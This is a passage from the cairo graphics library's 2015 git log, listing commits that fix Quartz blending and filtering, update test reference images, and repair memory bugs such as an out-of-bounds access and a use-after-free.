    Conflicts:
    	src/cairo-gl.h

 src/cairo-gl.h | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

commit 66bc7b8cb0e753006fa838a8badcf5cb7528d6f7
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Thu Apr 9 00:17:24 2015 +0200
Commit:     Andrea Canciani <ranma42@gmail.com>
CommitDate: Mon Jul 27 12:46:00 2015 +0200

    quartz: be more strict about the behavior of blend operators
    
    Some blend operators have a (small, but potentially noticeable)
    different behaviour in Quartz and pixman. Use the Quartz ones only for
    the operators which match pixman except for rounding errors.
    
    Fixes:
     - extended-blend
     - extended-blend-alpha
     - extended-blend-mask
     - extended-blend-alpha-mask
     - extended-blend-solid
     - extended-blend-solid-alpha

 src/cairo-quartz-surface.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

commit 6210e347712127260dd72b0f03a8604c8d22fdca
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Wed Apr 8 17:10:32 2015 +0200
Commit:     Andrea Canciani <ranma42@gmail.com>
CommitDate: Mon Jul 27 12:46:00 2015 +0200

    quartz: Align filtering quality with image backend
    
    The Quartz framework provides several quality settings, but they were
    not used. Now the translation of cairo_filter_t to Quartz filtering
    modes tries to match the quality settings from image as much as
    possible.
    
    Specifically, CAIRO_FILTER_GOOD and CAIRO_FILTER_BILINEAR are now
    converted to kCGInterpolationLow, which seems to be a bilinear filter.
    
    Fixes:
     - pixman-downscale-bilinear-24
     - pixman-downscale-bilinear-95
     - pixman-downscale-good-24
     - pixman-downscale-good-95
     - pthread-same-source
     - recording-surface-extend-none
     - recording-surface-extend-reflect
     - recording-surface-extend-repeat
     - recording-surface-over
     - recording-surface-source
     - surface-pattern-big-scale-down
     - surface-pattern-scale-down
     - surface-pattern-scale-down-extend-none
     - surface-pattern-scale-down-extend-reflect
     - surface-pattern-scale-down-extend-repeat

 src/cairo-quartz-surface.c | 11 +++++++++++
 1 file changed, 11 insertions(+)

commit 68e12cd37f3f48d7100a4f6e20f13de18f9f7939
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Thu Apr 16 11:58:41 2015 +0200
Commit:     Andrea Canciani <ranma42@gmail.com>
CommitDate: Mon Jul 27 12:45:59 2015 +0200

    test: Update quartz reference images

 test/reference/a1-clip-fill-rule.quartz.ref.png    | Bin 0 -> 238 bytes
 test/reference/a1-line-width.quartz.ref.png        | Bin 0 -> 157 bytes
 test/reference/a1-rectilinear-grid.quartz.ref.png  | Bin 0 -> 211 bytes
 test/reference/a1-sample.quartz.xfail.png          | Bin 0 -> 776 bytes
 test/reference/a1-tiger.quartz.xfail.png           | Bin 0 -> 19767 bytes
 test/reference/arc-direction.quartz.ref.png        | Bin 0 -> 5474 bytes
 test/reference/arc-looping-dash.quartz.ref.png     | Bin 470 -> 0 bytes
 test/reference/arc-looping-dash.quartz.xfail.png   | Bin 0 -> 481 bytes
 .../big-little-triangle.quartz.rgb24.ref.png       | Bin 0 -> 307 bytes
 test/reference/bug-51910.quartz.ref.png            | Bin 0 -> 1877 bytes
 test/reference/bug-extents.quartz.ref.png          | Bin 9310 -> 9284 bytes
 test/reference/bug-seams.quartz.xfail.png          | Bin 0 -> 2052 bytes
 test/reference/bug-spline.quartz.ref.png           | Bin 0 -> 5420 bytes
 test/reference/caps-05.quartz.ref.png              | Bin 0 -> 1066 bytes
 test/reference/caps-1.quartz.ref.png               | Bin 0 -> 1091 bytes
 test/reference/caps-joins-05.quartz.ref.png        | Bin 0 -> 1487 bytes
 test/reference/caps-joins-1.quartz.ref.png         | Bin 0 -> 1469 bytes
 test/reference/caps-joins-alpha.quartz.ref.png     | Bin 2466 -> 2268 bytes
 test/reference/caps-joins-curve.quartz.ref.png     | Bin 5199 -> 0 bytes
 test/reference/caps-tails-curve.quartz.ref.png     | Bin 0 -> 50207 bytes
 test/reference/clear.quartz.argb32.ref.png         | Bin 691 -> 664 bytes
 test/reference/clear.quartz.rgb24.ref.png          | Bin 606 -> 586 bytes
 .../reference/clip-complex-bug61592.quartz.ref.png | Bin 0 -> 110 bytes
 .../clip-disjoint-hatching.quartz.ref.png          | Bin 0 -> 8621 bytes
 test/reference/clip-disjoint.quartz.ref.png        | Bin 5476 -> 5482 bytes
 test/reference/clip-fill.quartz.ref.png            | Bin 875 -> 878 bytes
 .../clip-group-shapes-circles.quartz.ref.png       | Bin 1518 -> 1506 bytes
 test/reference/clip-intersect.quartz.ref.png       | Bin 0 -> 189 bytes
 test/reference/clip-nesting.quartz.argb32.ref.png  | Bin 1048 -> 1077 bytes
 test/reference/clip-nesting.quartz.rgb24.ref.png   | Bin 937 -> 954 bytes
 test/reference/clip-operator.quartz.argb32.ref.png | Bin 9672 -> 9543 bytes
 test/reference/clip-operator.quartz.rgb24.ref.png  | Bin 4343 -> 4336 bytes
 test/reference/clip-polygons.quartz.xfail.png      | Bin 0 -> 1296 bytes
 .../clip-rotate-image-surface-paint.quartz.ref.png | Bin 0 -> 198 bytes
 test/reference/clip-shape.quartz.ref.png           | Bin 3229 -> 3208 bytes
 .../clip-stroke-unbounded.quartz.argb32.ref.png    | Bin 3290 -> 3272 bytes
 test/reference/clip-text.quartz.ref.png            | Bin 854 -> 807 bytes
 .../close-path-current-point.quartz.ref.png        | Bin 0 -> 1781 bytes
 test/reference/culled-glyphs.quartz.ref.png        | Bin 493 -> 482 bytes
 test/reference/dash-caps-joins.quartz.xfail.png    | Bin 4446 -> 4400 bytes
 test/reference/dash-curve.quartz.xfail.png         | Bin 42238 -> 42019 bytes
 test/reference/dash-scale.quartz.ref.png           | Bin 7614 -> 0 bytes
 test/reference/dash-scale.quartz.xfail.png         | Bin 0 -> 7456 bytes
 test/reference/dash-state.quartz.xfail.png         | Bin 6957 -> 6981 bytes
 .../dash-zero-length.quartz.argb32.xfail.png       | Bin 0 -> 232 bytes
 .../dash-zero-length.quartz.rgb24.xfail.png        | Bin 0 -> 207 bytes
 .../degenerate-path.quartz.argb32.xfail.png        | Bin 200 -> 219 bytes
 .../degenerate-path.quartz.rgb24.xfail.png         | Bin 172 -> 190 bytes
 .../degenerate-solid-dash.quartz.xfail.png         | Bin 0 -> 397 bytes
 test/reference/drunkard-tails.quartz.ref.png       | Bin 0 -> 6188 bytes
 ...extended-blend-alpha-mask.quartz.argb32.ref.png | Bin 0 -> 9865 bytes
 .../extended-blend-alpha-mask.quartz.rgb24.ref.png | Bin 0 -> 4924 bytes
 .../extended-blend-alpha.quartz.argb32.ref.png     | Bin 9729 -> 9726 bytes
 .../extended-blend-alpha.quartz.rgb24.ref.png      | Bin 5598 -> 5865 bytes
 .../extended-blend-mask.quartz.argb32.ref.png      | Bin 0 -> 4105 bytes
 .../extended-blend-mask.quartz.rgb24.ref.png       | Bin 0 -> 3834 bytes
 ...xtended-blend-solid-alpha.quartz.argb32.ref.png | Bin 0 -> 9726 bytes
 ...extended-blend-solid-alpha.quartz.rgb24.ref.png | Bin 0 -> 5865 bytes
 .../extended-blend-solid.quartz.argb32.ref.png     | Bin 0 -> 4247 bytes
 .../extended-blend-solid.quartz.rgb24.ref.png      | Bin 0 -> 3938 bytes
 .../reference/extended-blend.quartz.argb32.ref.png | Bin 4284 -> 4247 bytes
 test/reference/extended-blend.quartz.rgb24.ref.png | Bin 3965 -> 3938 bytes
 test/reference/fallback.quartz.argb32.ref.png      | Bin 0 -> 4134 bytes
 test/reference/fallback.quartz.rgb24.ref.png       | Bin 0 -> 3299 bytes
 test/reference/fill-alpha-pattern.quartz.ref.png   | Bin 7943 -> 7906 bytes
 test/reference/fill-alpha.quartz.ref.png           | Bin 2704 -> 2731 bytes
 .../fill-and-stroke-alpha-add.quartz.ref.png       | Bin 542 -> 0 bytes
 .../fill-and-stroke.quartz.argb32.ref.png          | Bin 273 -> 0 bytes
 test/reference/fill-and-stroke.quartz.ref.png      | Bin 0 -> 273 bytes
 .../reference/fill-and-stroke.quartz.rgb24.ref.png | Bin 249 -> 0 bytes
 test/reference/fill-image.quartz.ref.png           | Bin 1297 -> 1417 bytes
 .../filter-nearest-transformed.quartz.xfail.png    | Bin 349 -> 490 bytes
 .../finer-grained-fallbacks.quartz.argb32.ref.png  | Bin 988 -> 992 bytes
 .../finer-grained-fallbacks.quartz.rgb24.ref.png   | Bin 763 -> 769 bytes
 .../font-matrix-translation.quartz.ref.png         | Bin 996 -> 979 bytes
 .../ft-text-vertical-layout-type1.quartz.ref.png   | Bin 0 -> 3099 bytes
 .../ft-text-vertical-layout-type1.quartz.xfail.png | Bin 3635 -> 0 bytes
 .../ft-text-vertical-layout-type3.quartz.ref.png   | Bin 3573 -> 3570 bytes
 .../gradient-constant-alpha.quartz.argb32.ref.png  | Bin 214 -> 0 bytes
 .../gradient-constant-alpha.quartz.ref.png         | Bin 0 -> 210 bytes
 test/reference/group-unaligned.quartz.ref.png      | Bin 363 -> 362 bytes
 test/reference/halo-transform.quartz.ref.png       | Bin 14360 -> 15164 bytes
 test/reference/halo.quartz.ref.png                 | Bin 8601 -> 8995 bytes
 test/reference/hatchings.quartz.ref.png            | Bin 0 -> 95827 bytes
 test/reference/huge-linear.quartz.ref.png          | Bin 15230 -> 0 bytes
 test/reference/huge-radial.quartz.ref.png          | Bin 84690 -> 83620 bytes
 test/reference/inverse-text.quartz.ref.png         | Bin 0 -> 2565 bytes
 test/reference/inverted-clip.quartz.rgb24.ref.png  | Bin 0 -> 1137 bytes
 test/reference/joins-loop.quartz.ref.png           | Bin 0 -> 4080 bytes
 test/reference/joins-retrace.quartz.ref.png        | Bin 0 -> 4750 bytes
 test/reference/joins.quartz.ref.png                | Bin 5833 -> 0 bytes
 test/reference/leaky-dash.quartz.ref.png           | Bin 195 -> 0 bytes
 test/reference/leaky-dash.quartz.xfail.png         | Bin 0 -> 195 bytes
 ...ine-width-large-overlap-dashed.quartz.xfail.png | Bin 0 -> 334 bytes
 ...line-width-large-overlap-rotated.quartz.ref.png | Bin 0 -> 385 bytes
 .../line-width-overlap-dashed.quartz.xfail.png     | Bin 0 -> 410 bytes
 .../linear-gradient-subset.quartz.ref.png          | Bin 852 -> 833 bytes
 test/reference/linear-gradient.quartz.ref.png      | Bin 951 -> 933 bytes
 test/reference/long-dashed-lines.quartz.ref.png    | Bin 2068 -> 0 bytes
 test/reference/mask-alpha.quartz.argb32.ref.png    | Bin 622 -> 621 bytes
 test/reference/mask-alpha.quartz.rgb24.ref.png     | Bin 0 -> 587 bytes
 test/reference/mask.quartz.argb32.ref.png          | Bin 10669 -> 10599 bytes
 test/reference/mask.quartz.rgb24.ref.png           | Bin 8354 -> 0 bytes
 test/reference/new-sub-path.quartz.argb32.ref.png  | Bin 0 -> 370 bytes
 test/reference/new-sub-path.quartz.ref.png         | Bin 370 -> 0 bytes
 test/reference/new-sub-path.quartz.rgb24.ref.png   | Bin 0 -> 340 bytes
 .../reference/operator-clear.quartz.argb32.ref.png | Bin 1228 -> 1556 bytes
 test/reference/operator-clear.quartz.rgb24.ref.png | Bin 1096 -> 1365 bytes
 .../operator-source.quartz.argb32.ref.png          | Bin 0 -> 6071 bytes
 .../reference/operator-source.quartz.rgb24.ref.png | Bin 0 -> 4549 bytes
 .../over-above-source.quartz.argb32.ref.png        | Bin 511 -> 508 bytes
 .../over-above-source.quartz.rgb24.ref.png         | Bin 437 -> 431 bytes
 .../over-around-source.quartz.argb32.ref.png       | Bin 593 -> 594 bytes
 .../over-around-source.quartz.rgb24.ref.png        | Bin 0 -> 474 bytes
 .../over-below-source.quartz.rgb24.ref.png         | Bin 0 -> 368 bytes
 .../over-between-source.quartz.argb32.ref.png      | Bin 551 -> 548 bytes
 .../over-between-source.quartz.rgb24.ref.png       | Bin 0 -> 456 bytes
 .../reference/overlapping-dash-caps.quartz.ref.png | Bin 0 -> 3921 bytes
 .../overlapping-glyphs.quartz.argb32.ref.png       | Bin 2824 -> 2766 bytes
 .../overlapping-glyphs.quartz.rgb24.ref.png        | Bin 1711 -> 1667 bytes
 .../paint-with-alpha-clip-mask.quartz.ref.png      | Bin 0 -> 325 bytes
 .../partial-clip-text-bottom.quartz.ref.png        | Bin 0 -> 263 bytes
 .../partial-clip-text-left.quartz.ref.png          | Bin 0 -> 288 bytes
 .../partial-clip-text-right.quartz.ref.png         | Bin 0 -> 139 bytes
 .../reference/partial-clip-text-top.quartz.ref.png | Bin 174 -> 172 bytes
 .../pixman-downscale-best-24.quartz.ref.png        | Bin 0 -> 432 bytes
 .../pixman-downscale-best-95.quartz.ref.png        | Bin 0 -> 656 bytes
 .../pixman-downscale-bilinear-95.quartz.ref.png    | Bin 0 -> 471 bytes
 .../pixman-downscale-fast-95.quartz.ref.png        | Bin 0 -> 300 bytes
 .../pixman-downscale-good-95.quartz.ref.png        | Bin 0 -> 471 bytes
 .../pixman-downscale-nearest-95.quartz.ref.png     | Bin 0 -> 300 bytes
 test/reference/pixman-rotate.quartz.rgb24.ref.png  | Bin 0 -> 225 bytes
 test/reference/pthread-same-source.quartz.ref.png  | Bin 0 -> 976 bytes
 .../reference/pthread-same-source.quartz.xfail.png | Bin 961 -> 0 bytes
 test/reference/pthread-show-text.quartz.ref.png    | Bin 43005 -> 46034 bytes
 test/reference/push-group-color.quartz.ref.png     | Bin 3127 -> 3102 bytes
 test/reference/push-group.quartz.argb32.ref.png    | Bin 3932 -> 3833 bytes
 test/reference/push-group.quartz.rgb24.ref.png     | Bin 3659 -> 3593 bytes
 ...dial-gradient-mask-source.quartz.argb32.ref.png | Bin 171002 -> 168929 bytes
 ...adial-gradient-mask-source.quartz.rgb24.ref.png | Bin 179120 -> 177421 bytes
 .../radial-gradient-mask-source.rgb24.ref.png      | Bin 0 -> 150945 bytes
 test/reference/radial-gradient-mask.quartz.ref.png | Bin 296910 -> 295032 bytes
 .../radial-gradient-one-stop.quartz.ref.png        | Bin 6316 -> 6447 bytes
 .../radial-gradient-source.quartz.argb32.ref.png   | Bin 439222 -> 442335 bytes
 .../radial-gradient-source.quartz.rgb24.ref.png    | Bin 279249 -> 276660 bytes
 test/reference/radial-gradient.quartz.ref.png      | Bin 389140 -> 389582 bytes
 test/reference/random-clip.quartz.ref.png          | Bin 0 -> 519854 bytes
 test/reference/record-mesh.ref.png                 | Bin 15229 -> 15400 bytes
 .../record-select-font-face.quartz.ref.png         | Bin 0 -> 2186 bytes
 .../record1414x-fill-alpha.quartz.ref.png          | Bin 0 -> 4099 bytes
 ...ecord1414x-paint-alpha-clip-mask.quartz.ref.png | Bin 0 -> 522 bytes
 .../record1414x-select-font-face.quartz.ref.png    | Bin 0 -> 3233 bytes
 .../record1414x-text-transform.quartz.ref.png      | Bin 0 -> 8701 bytes
 test/reference/record2x-fill-alpha.quartz.ref.png  | Bin 0 -> 5782 bytes
 .../record2x-select-font-face.quartz.ref.png       | Bin 0 -> 4506 bytes
 .../record90-paint-alpha-clip.quartz.ref.png       | Bin 0 -> 335 bytes
 .../record90-select-font-face.quartz.ref.png       | Bin 0 -> 2213 bytes
 .../record90-self-intersecting.quartz.xfail.png    | Bin 0 -> 214 bytes
 .../reference/recordflip-fill-alpha.quartz.ref.png | Bin 0 -> 2799 bytes
 ...recordflip-paint-alpha-clip-mask.quartz.ref.png | Bin 0 -> 351 bytes
 .../recordflip-select-font-face.quartz.ref.png     | Bin 0 -> 2291 bytes
 .../recordflip-whole-fill-alpha.quartz.ref.png     | Bin 0 -> 2799 bytes
 ...flip-whole-paint-alpha-clip-mask.quartz.ref.png | Bin 0 -> 351 bytes
 ...ecordflip-whole-select-font-face.quartz.ref.png | Bin 0 -> 2291 bytes
 ...rding-surface-extend-none.quartz.argb32.ref.png | Bin 0 -> 2758 bytes
 ...ording-surface-extend-none.quartz.rgb24.ref.png | Bin 0 -> 2684 bytes
 .../recording-surface-extend-pad.argb32.ref.png    | Bin 12932 -> 0 bytes
 .../recording-surface-extend-pad.argb32.xfail.png  | Bin 0 -> 12932 bytes
 .../recording-surface-extend-pad.rgb24.ref.png     | Bin 13581 -> 0 bytes
 .../recording-surface-extend-pad.rgb24.xfail.png   | Bin 0 -> 13581 bytes
 ...ng-surface-extend-reflect.quartz.argb32.ref.png | Bin 0 -> 16317 bytes
 ...ing-surface-extend-reflect.quartz.rgb24.ref.png | Bin 0 -> 16062 bytes
 ...ing-surface-extend-repeat.quartz.argb32.ref.png | Bin 0 -> 18584 bytes
 ...ding-surface-extend-repeat.quartz.rgb24.ref.png | Bin 0 -> 17244 bytes
 .../recording-surface-over.quartz.argb32.ref.png   | Bin 4570 -> 2758 bytes
 .../recording-surface-over.quartz.rgb24.ref.png    | Bin 4058 -> 2684 bytes
 .../recording-surface-source.quartz.argb32.ref.png | Bin 0 -> 2760 bytes
 .../recording-surface-source.quartz.rgb24.ref.png  | Bin 0 -> 2695 bytes
 ...ctilinear-dash-scale-unaligned.quartz.xfail.png | Bin 0 -> 3747 bytes
 .../rectilinear-dash-scale.quartz.xfail.png        | Bin 0 -> 687 bytes
 test/reference/rectilinear-dash.quartz.xfail.png   | Bin 494 -> 356 bytes
 test/reference/reflected-stroke.quartz.ref.png     | Bin 0 -> 4773 bytes
 .../rotate-clip-image-surface-paint.quartz.ref.png | Bin 0 -> 275 bytes
 .../rotate-image-surface-paint.quartz.ref.png      | Bin 223 -> 223 bytes
 test/reference/rotated-clip.quartz.ref.png         | Bin 3923 -> 3908 bytes
 .../rounded-rectangle-fill.quartz.ref.png          | Bin 684 -> 0 bytes
 .../rounded-rectangle-stroke.quartz.ref.png        | Bin 0 -> 682 bytes
 test/reference/shape-sierpinski.quartz.ref.png     | Bin 0 -> 83460 bytes
 test/reference/show-glyphs-advance.quartz.ref.png  | Bin 1464 -> 1438 bytes
 test/reference/smask-fill.quartz.ref.png           | Bin 2076 -> 2029 bytes
 test/reference/smask-stroke.quartz.ref.png         | Bin 1697 -> 1695 bytes
 test/reference/smask-text.quartz.ref.png           | Bin 1904 -> 1909 bytes
 test/reference/smask.quartz.ref.png                | Bin 4031 -> 4030 bytes
 .../spline-decomposition.quartz.xfail.png          | Bin 19560 -> 19486 bytes
 test/reference/stroke-clipped.quartz.ref.png       | Bin 0 -> 5652 bytes
 test/reference/stroke-ctm-caps.quartz.ref.png      | Bin 899 -> 0 bytes
 test/reference/stroke-image.quartz.ref.png         | Bin 1350 -> 1418 bytes
 test/reference/stroke-pattern.quartz.ref.png       | Bin 0 -> 1683 bytes
 ...bsurface-outside-target.quartz.argb32.xfail.png | Bin 0 -> 2176 bytes
 ...ubsurface-outside-target.quartz.rgb24.xfail.png | Bin 0 -> 1717 bytes
 test/reference/subsurface-scale.quartz.ref.png     | Bin 0 -> 5703 bytes
 .../surface-pattern-big-scale-down.quartz.ref.png  | Bin 258 -> 0 bytes
 .../surface-pattern-operator.quartz.argb32.ref.png | Bin 5721 -> 5738 bytes
 .../surface-pattern-operator.quartz.rgb24.ref.png  | Bin 2429 -> 2437 bytes
 ...e-pattern-scale-down-extend-none.quartz.ref.png | Bin 391 -> 0 bytes
 ...-pattern-scale-down-extend-pad.quartz.xfail.png | Bin 397 -> 330 bytes
 ...attern-scale-down-extend-reflect.quartz.ref.png | Bin 475 -> 0 bytes
 ...pattern-scale-down-extend-repeat.quartz.ref.png | Bin 397 -> 0 bytes
 .../surface-pattern-scale-down.quartz.ref.png      | Bin 2276 -> 1731 bytes
 .../surface-pattern-scale-up.quartz.ref.png        | Bin 0 -> 3294 bytes
 .../surface-pattern-scale-up.quartz.xfail.png      | Bin 3294 -> 0 bytes
 test/reference/text-antialias-gray.quartz.ref.png  | Bin 956 -> 911 bytes
 .../text-antialias-subpixel-bgr.quartz.xfail.png   | Bin 0 -> 896 bytes
 .../text-antialias-subpixel-rgb.quartz.ref.png     | Bin 0 -> 896 bytes
 .../text-antialias-subpixel-vbgr.quartz.xfail.png  | Bin 0 -> 896 bytes
 .../text-antialias-subpixel-vrgb.quartz.xfail.png  | Bin 0 -> 896 bytes
 .../text-antialias-subpixel.quartz.ref.png         | Bin 949 -> 896 bytes
 test/reference/text-glyph-range.quartz.ref.png     | Bin 2191 -> 0 bytes
 test/reference/text-glyph-range.quartz.xfail.png   | Bin 0 -> 2051 bytes
 test/reference/text-pattern.quartz.argb32.ref.png  | Bin 2148 -> 4372 bytes
 test/reference/text-pattern.quartz.rgb24.ref.png   | Bin 1867 -> 3483 bytes
 test/reference/text-rotate.quartz.ref.png          | Bin 16655 -> 16616 bytes
 test/reference/tiger.quartz.ref.png                | Bin 0 -> 93656 bytes
 .../reference/tighten-bounds.quartz.argb32.ref.png | Bin 0 -> 7679 bytes
 test/reference/tighten-bounds.quartz.rgb24.ref.png | Bin 0 -> 7324 bytes
 test/reference/trap-clip.quartz.argb32.ref.png     | Bin 6115 -> 6108 bytes
 test/reference/trap-clip.quartz.rgb24.ref.png      | Bin 5801 -> 5789 bytes
 test/reference/twin-antialias-gray.quartz.ref.png  | Bin 0 -> 4466 bytes
 test/reference/twin-antialias-none.quartz.ref.png  | Bin 0 -> 1026 bytes
 .../twin-antialias-subpixel.quartz.ref.png         | Bin 0 -> 4466 bytes
 test/reference/twin.quartz.ref.png                 | Bin 0 -> 4466 bytes
 test/reference/user-font-proxy.quartz.ref.png      | Bin 19795 -> 19737 bytes
 test/reference/user-font.quartz.ref.png            | Bin 5960 -> 5854 bytes
 test/reference/world-map-fill.quartz.ref.png       | Bin 0 -> 56665 bytes
 test/reference/world-map-stroke.quartz.ref.png     | Bin 0 -> 79192 bytes
 test/reference/world-map.quartz.ref.png            | Bin 0 -> 82020 bytes
 .../reference/xcomposite-projection.quartz.ref.png | Bin 926 -> 924 bytes
 237 files changed, 0 insertions(+), 0 deletions(-)

commit e1353f3b859d28dc3f5a9d4fb4496085240a8c68
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Thu Apr 16 11:59:02 2015 +0200
Commit:     Andrea Canciani <ranma42@gmail.com>
CommitDate: Mon Jul 27 12:45:59 2015 +0200

    test: Always use DejaVu Sans as default font
    
    This makes the results of the test suite more stable across different
    environments, because it does not rely anymore on
    CAIRO_FONT_FAMILY_DEFAULT (which on Windows is "Arial", on Mac
    "Helvetica").
    
    This change should not affect Linux environments, assuming that the
    default font is already set to "DejaVu Sans".

 test/cairo-test.c        | 4 ++++
 test/clip-zero.c         | 2 +-
 test/pthread-show-text.c | 4 ++--
 test/show-glyphs-many.c  | 2 +-
 test/text-cache-crash.c  | 4 ++--
 test/user-font-proxy.c   | 2 +-
 6 files changed, 11 insertions(+), 7 deletions(-)

commit 6951fb4238706522d357fd25236b17492baea1b0
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Jul 17 12:07:18 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Jul 17 12:07:18 2015 -0700

    Revert "pattern: allow for a floating one pixel rounded difference."
    
    While this fixed a real bug, in testing this patch was found to fail a
    number of tests and thus needs further work.
    
    This reverts commit e7acf4b6dc6666c2a2c54fb08e9ad6f01a1d415f.

 src/cairo-pattern.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

commit edd321c2f52daaef9804481bc4d0aa84f8ff0060
Author:     Arpit Jain <jain.arpit@samsung.com>
AuthorDate: Mon Jul 13 11:31:48 2015 +0530
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Tue Jul 14 01:44:33 2015 -0700

    gl: Fix incorrect size of expression
    
    The sizeof operator now applied to the correct variable "ctx->glyph_cache",
    instead of its pointer address, in function "_cairo_gl_composite_flush".
    
    Fixes:  https://bugs.freedesktop.org/show_bug.cgi?id=91321
    Signed-off-by: Arpit Jain <jain.arpit@samsung.com>
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-gl-composite.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 498fc2fbe31682754f1aa3864b764229d0b6838c
Author:     Ashim <ashim.shah@samsung.com>
AuthorDate: Thu Jul 9 10:43:30 2015 +0530
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jul 9 13:50:35 2015 -0700

    Fix out of bound access in struct pattern->type
    
    The pattern structure is hardcoded to hold 7 elements, yet the
    pattern_names array in cairo-surface-observer.c is initialized with 8
    strings.  This causes a crash in print_array at line 1587 when it tries
    to access the 8th member.
    
    Hence changed the 'type' array from type[7] to type[8] to avoid out of
    bound access.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=91266
    Signed-off-by: Ashim <ashim.shah@samsung.com>
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-surface-observer-private.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit ad45e8f99f4ab6777559480cede7d1461a9c28fc
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Jul 7 18:20:30 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Tue Jul 7 18:20:30 2015 -0700

    truetype: Drop redundant check of truetype struct
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=29010

 src/cairo-truetype-subset.c | 1 -
 1 file changed, 1 deletion(-)

commit 943ba26a20f51b39b4b102f727a26e4f5e283063
Author:     Arpit Jain <jain.arpit@samsung.com>
AuthorDate: Fri Jul 3 15:31:48 2015 +0530
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Jul 6 15:14:23 2015 -0700

    test/bitmap-font: Fix use of pointer after freed pointer
    
    The pointer 'filename' is already freed and still used as a function
    argument.  This patch will free the pointer 'filename' only after it is
    used.
    
    Also, the patch ensures that it frees the pointer 'filename' before any
    return of this function.
    
    Fixes:  https://bugs.freedesktop.org/show_bug.cgi?id=91206
    Signed-off-by: Arpit Jain <jain.arpit@samsung.com>
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 test/bitmap-font.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

commit dced42a6801ea0f7ff9fa9f7aa3c7b2a10103884
Author:     Chris Wilson <chris@chris-wilson.co.uk>
AuthorDate: Mon Jul 6 22:26:14 2015 +0100
Commit:     Chris Wilson <chris@chris-wilson.co.uk>
CommitDate: Mon Jul 6 22:28:20 2015 +0100

    xlib: Avoid using uninitialised variable on impossible error path
    
    In commit f6843d5cbb79c35f7b331ac31c4a55c9574928fc
    Author: Arpit Jain <jain.arpit@samsung.com>
    Date:   Mon Jul 6 14:13:06 2015 -0700
    
        xlib: Fix deferencing of uninitialised 'display'
    
    the common error + clenaup path was clumsily fixed to use the right
    variable after the error didn't set the local display variable.
    
    Signed-off-by: Chris Wilson <chris@chris-wilson.co.uk>

 src/cairo-xlib-render-compositor.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit 84b8d7657615d3ecc11b029151dfd87704f15641
Author:     Chris Wilson <chris@chris-wilson.co.uk>
AuthorDate: Mon Jul 6 22:24:29 2015 +0100
Commit:     Chris Wilson <chris@chris-wilson.co.uk>
CommitDate: Mon Jul 6 22:28:20 2015 +0100

    Revert "xlib: Fix deferencing of uninitialised 'display'"
    
    This reverts commit f6843d5cbb79c35f7b331ac31c4a55c9574928fc.

 src/cairo-xlib-render-compositor.c | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

commit f6843d5cbb79c35f7b331ac31c4a55c9574928fc
Author:     Arpit Jain <jain.arpit@samsung.com>
AuthorDate: Mon Jul 6 14:13:06 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Jul 6 14:13:24 2015 -0700

    xlib: Fix deferencing of uninitialised 'display'
    
    Initialising 'display' to NULL and checking before deferencing during display->base.
    This patch will check the deferencing of uninitialised 'display' in case,
    _cairo_xlib_display_acquire does not return CAIRO_STATUS_SUCCESS.
    
    Fixes:  https://bugs.freedesktop.org/show_bug.cgi?id=87893
    Signed-off-by: Arpit Jain <jain.arpit@samsung.com>
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-xlib-render-compositor.c | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

commit 06a2696d5fa0ea50adb1463e2ee923ac92aabbdf
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Mon Jul 6 14:11:57 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Jul 6 14:11:57 2015 -0700

    cairo-gl: Still check the value of the macros
    
    Just because they're defined doesn't mean they've been enabled.

 src/cairo-gl.h | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

commit c8b6c6066a238cf4cb04679e1149e956b1556a0c
Author:     Koop Mast <kwm@rainbow-runner.nl>
AuthorDate: Mon Jan 5 12:49:25 2015 +0100
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Sat Jun 27 01:14:22 2015 -0700

    cairo-gl: Fix compiler warning if CAIRO_HAS_*_FUNCTIONS is not defined.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=88050
    
    [Updated to also still check the value of the macros]
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-gl.h | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

commit 776dd20c8485e4e70f42a2e66a0545cf87944ac5
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Sat Jun 27 00:43:04 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Sat Jun 27 00:44:29 2015 -0700

    configure: Fix typo for missing line continuation character
    
    There is an unintentional (benign) missing line continuation "\" in the
    definition of MAYBE_WARN in configure.  configure completes and issues a
    WARNING:
    
    configure: WARNING: cache variable cairo_cv_warn_maybe contains a
    newline
    
    Found and solved by Larry Baker.
    
    Fixes:  https://bugs.freedesktop.org/show_bug.cgi?id=89750
